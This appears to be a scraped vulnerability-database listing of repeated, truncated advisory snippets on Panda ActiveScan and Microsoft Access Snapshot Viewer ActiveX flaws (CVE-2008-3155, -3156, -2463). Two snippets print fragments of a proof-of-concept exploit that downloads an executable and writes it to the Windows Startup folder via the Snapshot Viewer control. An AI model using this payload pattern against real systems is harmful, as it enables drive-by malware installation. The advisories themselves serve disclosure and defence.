CVE-2008-3155

Stack-based buffer overflow in the ActiveX control as2guiie.dll in Panda ActiveScan before 1.02.00 allows remote attackers to cause a denial of service crash or execute arbitrary code via a long argument to the Update method...

CVE-2008-3156

The CVE-2008-3156 entry affects the Panda ActiveScan product, specifically the ActiveX Control as2guiie.dll, before version 1.02.00. The vulnerability allows remote attackers to download and execute arbitrary CAB files by passing URLs to the Update method, enabling arbitrary code execution on the...

EUVD-2008-3146

The ActiveScan ActiveX Control as2guiie.dll in Panda ActiveScan before 1.02.00 allows remote attackers to download and execute arbitrary cabinet CAB files via unspecified URLs passed to the Update method...

CVE-2008-3156

The ActiveScan ActiveX Control as2guiie.dll in Panda ActiveScan before 1.02.00 allows remote attackers to download and execute arbitrary cabinet CAB files via unspecified URLs passed to the Update method...

CVE-2008-3155

CVE-2008-3155 is a stack-based buffer overflow in the ActiveX control as2guiie.dll used by Panda ActiveScan prior to version 1.02.00. An attacker can trigger a crash or arbitrary code execution by sending a long argument to the Update method, enabling remote exploitation. The root cause is a buff...

CVE-2008-3155

Stack-based buffer overflow in the ActiveX control as2guiie.dll in Panda ActiveScan before 1.02.00 allows remote attackers to cause a denial of service crash or execute arbitrary code via a long argument to the Update method...

Microsoft Access Snapshot Viewer file download vulnerability

Added: 07/11/2008 CVE: CVE-2008-2463 BID: 30144 OSVDB: 46749 Background The Snapshot Viewer for Microsoft Access is used to display report snapshots without needing to fully invoke Access. It enables an ActiveX control in snapview.ocx. Problem The Snapshot Viewer ActiveX control allows remote fil...

Microsoft Access Snapshot Viewer file download vulnerability

Added: 07/11/2008 CVE: CVE-2008-2463 BID: 30144 OSVDB: 46749 Background The Snapshot Viewer for Microsoft Access is used to display report snapshots without needing to fully invoke Access. It enables an ActiveX control in snapview.ocx. Problem The Snapshot Viewer ActiveX control allows remote fil...

Microsoft Access Snapshot Viewer file download vulnerability

Added: 07/11/2008 CVE: CVE-2008-2463 BID: 30144 OSVDB: 46749 Background The Snapshot Viewer for Microsoft Access is used to display report snapshots without needing to fully invoke Access. It enables an ActiveX control in snapview.ocx. Problem The Snapshot Viewer ActiveX control allows remote fil...

Microsoft Access Snapshot Viewer file download vulnerability

Added: 07/11/2008 CVE: CVE-2008-2463 BID: 30144 OSVDB: 46749 Background The Snapshot Viewer for Microsoft Access is used to display report snapshots without needing to fully invoke Access. It enables an ActiveX control in snapview.ocx. Problem The Snapshot Viewer ActiveX control allows remote fil...

US-CERT Technical Cyber Security Alert TA08-189A -- Microsoft Office Snapshot Viewer ActiveX Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA08-189A Microsoft Office Snapshot Viewer ActiveX Vulnerability Original release date: July 7, 2008 Last revised: -- Source: US-CERT Systems Affected Microsoft Office Access 2000 Microsoft...

The Microsoft Office Snapshot Viewer ActiveX Exploit-vulnerability warning-the black bar safety net

Source: http://hi.baidu.com/cloie/ Today someone made a Snapshot Viewer of the ADV, combined with the CERT that dranzer. pdf, to reproduce the vulnerability EXP: the var buf1 = 'http://127.0.0.1/a.exe'; var buf2 = 'C:/Documents and Settings/All Users/"Start"菜单 / 程序 / 启动 /test.exe'; obj...

Microsoft Access快照查看器ActiveX控件任意文件下载漏洞

BUGTRAQ ID: 30114 CVECAN ID: CVE-2008-2463 Microsoft Access是微软Office套件中的关系数据库管理系统。 Microsoft Access中捆绑了快照查看器ActiveX控件用于方便的查看Access报表快照，该控件没有正确的验证某些输入参数。如果用户受骗访问了恶意站点的话，就可能导致将站点上的文件下载到用户机器的任意位置。目前这个漏洞正在被积极的利用。 Microsoft Access 2003 Microsoft Access 2002 Microsoft Access 2000 临时解决方法： 为以下CLSID设置kill...

Microsoft Office Snapshot Viewer ActiveX Exploit

No description provided by source. html object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'/object script language='javascript' var buf1 = 'http://127.0.0.1/a.exe'; var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe'; obj.SnapshotPath = buf1; obj.CompressedPath...

Microsoft Access Snapshot Viewer ActiveX Control Arbitrary File Download (CVE-2008-2463)

Microsoft Snapshot Viewer is an application that allows viewing of snapshots created with any version of Microsoft Access. A remote code execution vulnerability has been discovered in the Snapshot Viewer for Microsoft Access. The vulnerability is due to an error in the Snapshot Viewer ActiveX...

CVE-2008-2463

The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0, as distributed in the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003, allows remote attackers to download arbitrary files to a client machine via a crafted HTML document or e-mail message,...

Code injection

The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0, as distributed in the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003, allows remote attackers to download arbitrary files to a client machine via a crafted HTML document or e-mail message,...

DSquare Exploit Pack: D2SEC_SNPVW2

Name| d2secsnpvw2 ---|--- CVE| CVE-2008-2463 Exploit Pack| D2ExploitPack Description| Microsoft Office Snapshot Viewer ActiveX Vulnerability - Generic Version Notes|...

CVE-2008-2463

CVE-2008-2463 affects the Microsoft Office Snapshot Viewer ActiveX Control (snapview.ocx) shipped with standalone Snapshot Viewer and Office Access 2000–2003. The vulnerability allows remote download of arbitrary files via crafted HTML/email, potentially enabling code execution by writing to a St...

CVE-2008-2463

The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0, as distributed in the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003, allows remote attackers to download arbitrary files to a client machine via a crafted HTML document or e-mail message,...